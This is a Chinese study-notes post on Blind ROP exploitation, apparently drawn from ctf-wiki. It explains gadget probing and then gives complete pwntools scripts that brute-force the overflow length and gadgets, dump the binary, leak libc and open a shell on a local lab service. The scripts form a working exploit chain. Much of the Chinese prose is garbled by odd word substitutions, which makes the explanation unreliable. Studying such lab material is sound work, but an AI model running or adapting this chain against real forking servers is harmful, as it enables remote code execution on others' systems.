共计 4525 个字符,预计需要花费 12 分钟才能阅读完成。
开始欢快得学习 blindROP 之旅
emmmm,一点点地看完了,因为不怎么理解指标文件构造,有些中央不是很懂,当晓得他要做什么事件。而后发现 …. 用他人集成的货色真好,用 ida 真好
复述一下原理
判断栈溢出长度
- 暴力枚举
-
Stack Reading
- 获取栈上的数据来泄露 canaries,以及 ebp 和返回地址。在一个字节一个一个尝试 canary(这个思路适宜于 canary 不变,且程序解体后能重新启动不扭转原 canar)(目前 nginx, MySQL, Apache, OpenSSH 等服务器利用都是合乎这种个性的)
-
Blind ROP
-
找到足够多的 gadgets 来管制输入函数的参数,并且对其进行调用,比如说常见的 write 函数以及 puts 函数。具体是利用填入不同的已知地址程序来晓得所猜的地址是否为可用 gadget,另外如果想管制 rdx,能够利用 strcmp 函数, 执行 strcmp 的时候,rdx 会被设置为将要被比拟的字符串的长度
-
- probe,stop,traps(traps,traps,…)
-
-
咱们通过程序解体与否 (如果程序在 probe 处间接解体怎么判断) 能够找到不会对栈进行 pop 操作的 gadget,如
- ret
- xor eax,eax; ret
-
-
probe,trap,stop,traps
-
咱们能够通过这样的布局找到只是弹出一个栈变量的 gadget。如
- pop rax; ret
- pop rdi; ret
-
-
probe, trap, trap, trap, trap, trap, trap, stop, traps
-
咱们能够通过这样的布局来找到弹出 6 个栈变量的 gadget,也就是与 brop gadget 类似的 gadget。这里感觉原文是有问题的,比如说如果遇到了只是 pop 一个栈变量的地址,其实也是不会解体的,,这里一般来说会遇到两处比拟有意思的中央
- plt 处不会崩,,
- _start 处不会崩,相当于程序从新执行。
-
-
Build the exploit
- 利用输入函数来 dump 出程序以便于来找到更多的 gadgets,从而能够写出最初的 exploit。典型的利用 rop
而后是对应脚本
确定栈溢出长度 [¶]
def getbufferflow_length():
i = 1 | |
while 1: | |
try: | |
sh = remote('127.0.0.1', 9999) | |
sh.recvuntil('WelCome my friend,Do you know password?n') | |
sh.send(i * 'a') | |
output = sh.recv() | |
sh.close() | |
if not output.startswith('No password'): | |
return i - 1 | |
else: | |
i += 1 | |
except EOFError: | |
sh.close() | |
return i - 1 | |
寻找 stop gadgets[¶]
寻找过程如下
def get_stop_addr(length):
addr = 0x400000 | |
while 1: | |
try: | |
sh = remote('127.0.0.1', 9999) | |
sh.recvuntil('password?n') | |
payload = 'a' * length + p64(addr) | |
sh.sendline(payload) | |
sh.recv() | |
sh.close() | |
print 'one success addr: 0x%x' % (addr) | |
return addr | |
except Exception: | |
addr += 1 | |
sh.close() | |
辨认 brop gadgets
上面,咱们依据下面介绍的原理来失去对应的 brop gadgets 地址。结构如下,get_brop_gadget 是为了失去可能的 brop gadget,前面的 check_brop_gadget 是为了查看。
def get_brop_gadget(length, stop_gadget, addr): | |
try: | |
sh = remote('127.0.0.1', 9999) | |
sh.recvuntil('password?n') | |
payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10 | |
sh.sendline(payload) | |
content = sh.recv() | |
sh.close() | |
print content | |
# stop gadget returns memory | |
if not content.startswith('WelCome'): | |
return False | |
return True | |
except Exception: | |
sh.close() | |
return False | |
def check_brop_gadget(length, addr): | |
try: | |
sh = remote('127.0.0.1', 9999) | |
sh.recvuntil('password?n') | |
payload = 'a' * length + p64(addr) + 'a' * 8 * 10 | |
sh.sendline(payload) | |
content = sh.recv() | |
sh.close() | |
return False | |
except Exception: | |
sh.close() | |
return True | |
##length = getbufferflow_length() | |
length = 72 | |
##get_stop_addr(length) | |
stop_gadget = 0x4006b6 | |
addr = 0x400740 | |
while 1: | |
print hex(addr) | |
if get_brop_gadget(length, stop_gadget, addr): | |
print 'possible brop gadget: 0x%x' % addr | |
if check_brop_gadget(length, addr): | |
print 'success brop gadget: 0x%x' % addr | |
break | |
addr += 1 |
确定 puts@plt 地址 [¶]
依据下面,所说咱们能够结构如下 payload 来进行获取
def get_puts_addr(length, rdi_ret, stop_gadget): | |
addr = 0x400000 | |
while 1: | |
print hex(addr) | |
sh = remote('127.0.0.1', 9999) | |
sh.recvuntil('password?n') | |
payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget) | |
sh.sendline(payload) | |
try: | |
content = sh.recv() | |
if content.startswith('x7fELF'): | |
print 'find puts@plt addr: 0x%x' % addr | |
return addr | |
sh.close() | |
addr += 1 | |
except Exception: | |
sh.close() | |
addr += 1 |
泄露 puts@got 地址 [¶]
在咱们能够调用 puts 函数后,咱们能够泄露 puts 函数的地址,进而获取 libc 版本,从而获取相干的 system 函数地址与 / bin/sh 地址,从而获取 shell。咱们从 0x400000 开始泄露 0x1000 个字节,这曾经足够蕴含程序的 plt 局部了。代码如下
def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget): | |
sh = remote('127.0.0.1', 9999) | |
payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadget) | |
sh.recvuntil('password?n') | |
sh.sendline(payload) | |
try: | |
data = sh.recv() | |
sh.close() | |
try: | |
data = data[:data.index("nWelCome")] | |
except Exception: | |
data = data | |
if data == "": | |
data = 'x00' | |
return data | |
except Exception: | |
sh.close() | |
return None | |
##length = getbufferflow_length() | |
length = 72 | |
##stop_gadget = get_stop_addr(length) | |
stop_gadget = 0x4006b6 | |
##brop_gadget = find_brop_gadget(length,stop_gadget) | |
brop_gadget = 0x4007ba | |
rdi_ret = brop_gadget + 9 | |
##puts_plt = get_puts_plt(length, rdi_ret, stop_gadget) | |
puts_plt = 0x400560 | |
addr = 0x400000 | |
result = "" | |
while addr < 0x401000: | |
print hex(addr) | |
data = leak(length, rdi_ret, puts_plt, addr, stop_gadget) | |
if data is None: | |
continue | |
else: | |
result += data | |
addr += len(data) | |
with open('code', 'wb') as f: | |
f.write(result) |
exp
length = 72 | |
##stop_gadget = get_stop_addr(length) | |
stop_gadget = 0x4006b6 | |
##brop_gadget = find_brop_gadget(length,stop_gadget) | |
brop_gadget = 0x4007ba | |
rdi_ret = brop_gadget + 9 | |
##puts_plt = get_puts_addr(length, rdi_ret, stop_gadget) | |
puts_plt = 0x400560 | |
##leakfunction(length, rdi_ret, puts_plt, stop_gadget) | |
puts_got = 0x601018 | |
sh = remote('127.0.0.1', 9999) | |
sh.recvuntil('password?n') | |
payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget) | |
sh.sendline(payload) | |
data = sh.recvuntil('nWelCome', drop=True) | |
puts_addr = u64(data.ljust(8, 'x00')) | |
libc = LibcSearcher('puts', puts_addr) | |
libc_base = puts_addr - libc.dump('puts') | |
system_addr = libc_base + libc.dump('system') | |
binsh_addr = libc_base + libc.dump('str_bin_sh') | |
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(stop_gadget) | |
sh.sendline(payload) | |
sh.interactive() |
(以上内容绝大部分来自 ctf-wiki,这里仅供本人学习记录,若有侵权,请分割我)